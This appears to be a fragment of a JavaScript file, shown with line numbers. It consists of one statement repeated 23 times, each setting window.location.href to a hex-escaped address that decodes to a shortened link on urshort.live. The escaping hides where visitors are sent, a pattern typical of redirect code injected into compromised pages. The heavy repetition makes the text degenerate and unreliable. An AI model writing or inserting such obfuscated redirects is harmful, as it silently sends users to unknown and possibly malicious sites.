2266window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2267window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2268window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2269window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2270window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2271window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2272window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2273window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2274window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2275window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2276window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2277window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2278window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2279window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2280window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2281window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2282window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2283window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2284window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2285window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2286window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2287window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2288window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";